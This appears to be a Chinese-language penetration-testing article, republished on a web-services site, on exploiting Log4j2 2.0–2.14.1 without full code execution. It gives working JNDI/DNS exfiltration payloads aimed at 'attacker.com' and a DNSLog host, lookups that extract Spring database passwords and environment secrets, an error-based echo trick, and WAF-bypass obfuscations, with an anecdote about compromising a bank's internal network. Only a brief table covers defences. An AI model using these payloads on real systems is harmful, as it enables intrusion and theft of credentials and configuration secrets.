Log4j2 2.0-2.14.1 非RCE利用实战:3种信息泄露与2种不出网回显手法复现
2026/7/8 20:14:24 网站建设 项目流程

Log4j2 2.0-2.14.1 非RCE利用实战:3种信息泄露与2种不出网回显手法复现

当RCE(远程代码执行)被安全防护措施阻断时,安全研究人员如何继续挖掘Log4j2的潜在风险?本文将深入探讨五种在受限环境下的实用攻击手法,涵盖信息泄露与不出网回显两大方向。

1. 环境准备与基础概念

在开始之前,我们需要明确几个关键点:

  • 测试环境:Java 8 + Log4j2 2.14.1
  • 安全限制:假设目标系统已部署RASP或SecurityManager,阻止了传统的JNDI注入攻击
  • 核心原理:Log4j2的递归解析机制和Lookup功能
// 基础测试代码 public class Log4j2Test { private static final Logger logger = LogManager.getLogger(Log4j2Test.class); public static void main(String[] args) { logger.error("${java:version}"); } }

2. 信息泄露手法实战

2.1 嵌套标签泄露系统信息

利用Log4j2的递归解析特性,通过DNS协议外带数据:

# 使用DNSLog平台接收数据 payload="${jndi:dns://${java:version}.example.dnslog.cn}"

关键点

  • 内层${java:version}先被解析
  • 解析结果作为DNS子域名外带
  • 适用于获取Java环境信息、系统属性等
可用标签泄露信息类型示例输出
${java:version}Java版本"1.8.0_301"
${java:runtime}JVM信息"Java(TM) SE Runtime Environment"
${java:os}操作系统"Windows 10 10.0"

2.2 Sys/Env Lookup收集敏感配置

System和Environment Lookup可以直接读取JVM和系统环境变量:

logger.error("${sys:user.dir}"); // 获取工作目录 logger.error("${env:JAVA_HOME}"); // 获取Java安装路径

典型敏感信息

  • 数据库连接字符串
  • API密钥
  • 服务器内部IP
  • 配置文件路径

注意:不同系统环境变量差异较大,建议先使用${env:}枚举所有变量

2.3 Bundle Lookup读取Spring配置

针对Spring Boot应用的进阶利用:

# 获取数据库密码 ${bundle:application:spring.datasource.password} # 获取Redis配置 ${bundle:application:spring.redis.host}

依赖条件

  1. 项目使用Spring Boot + Log4j2组合
  2. 存在application.propertiesapplication.yml资源文件
  3. 配置了国际化资源文件(非必须但增加成功率)

3. 不出网环境下的回显技术

3.1 DNS协议信息外带

当HTTP/LDAP被阻断时,使用纯DNS协议外带数据:

logger.error("${jndi:dns://attacker.com/${java:version}}");

服务端监听

# 使用nc监听UDP 53端口 nc -luvp 53

优势

  • 通常不受出网协议限制
  • 流量较小不易被检测
  • 可绕过部分WAF规则

3.2 报错回显技术

通过强制触发异常实现数据回显:

<!-- log4j2.xml关键配置 --> <Configuration> <Appenders> <Console name="CONSOLE" ignoreExceptions="false"> <PatternLayout pattern="%m%n"/> </Console> </Appenders> </Configuration>

利用Payload

// 触发NumberFormatException回显Java版本 logger.error("${jndi:ldap://127.0.0.1:${java:version}/test}");

实现原理

  1. ignoreExceptions="false"允许异常传播
  2. 端口号强制转换为int时抛出异常
  3. 异常信息中包含原始字符串

4. 防御规避与检测对抗

4.1 现代WAF绕过技巧

// 大小写混淆 logger.error("${jNdI:dNs://example.com}"); // 环境变量默认值 logger.error("${${env:TEST:-j}ndi:${env:TEST:-l}dap://example.com}"); // 嵌套表达式 logger.error("${${lower:j}${upper:n}di:ldap://example.com}");

4.2 防护方案对比

防护措施防护效果对业务影响
升级到2.17.0+完全防护需测试兼容性
-Dlog4j2.formatMsgNoLookups=true基础防护几乎无影响
限制出网流量部分防护可能影响正常业务
RASP防护动态防护性能损耗5-10%

5. 实战案例与决策流程

典型攻击场景

  1. 发现Log4j2漏洞但RCE被阻断
  2. 尝试${java:version}确认漏洞存在
  3. 根据环境选择信息泄露或回显手法
  4. 逐步获取更多系统信息
  5. 寻找其他突破口
graph TD A[发现Log4j2漏洞] --> B{能否RCE?} B -->|是| C[直接获取权限] B -->|否| D[尝试信息泄露] D --> E{目标出网?} E -->|是| F[DNS外带数据] E -->|否| G[配置报错回显] G --> H[获取关键配置] H --> I[寻找其他漏洞]

在实际渗透测试中,这些技术往往需要组合使用。曾在一个银行系统的测试中,通过${bundle:}获取到数据库密码后,结合SQL注入最终拿下了整个内网权限。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询